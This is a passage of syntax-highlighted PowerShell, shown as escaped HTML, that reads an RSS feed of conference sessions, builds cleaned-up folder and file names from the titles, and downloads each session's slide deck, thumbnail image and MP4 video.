&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;NoCodeSessions&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the PowerPoint file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Net&lt;/span&gt;.WebClient)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt; -OutFile &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;\&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# download the jpg but don&amp;#39;t want to break if this doesn&amp;#39;t exist; hence the nested try blocks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DownloadFile&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Jpeg &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesn&amp;#39;t exist ... eating the exception and moving on ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#endif&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;PPTX: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; exist; skipping download.&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** Downloading all the decks complete ***************&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Oops, could not find any slides.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the videos **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# if you don&amp;#39;t want the video but only the slides just comment all the code below in the foreach loop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$a&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.item) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;) | &lt;span style=&#34;color:#91d7e3&#34;&gt;select &lt;/span&gt;-last &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the URL for the MP4 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create the local file name for the MP4 download&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.mp4&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
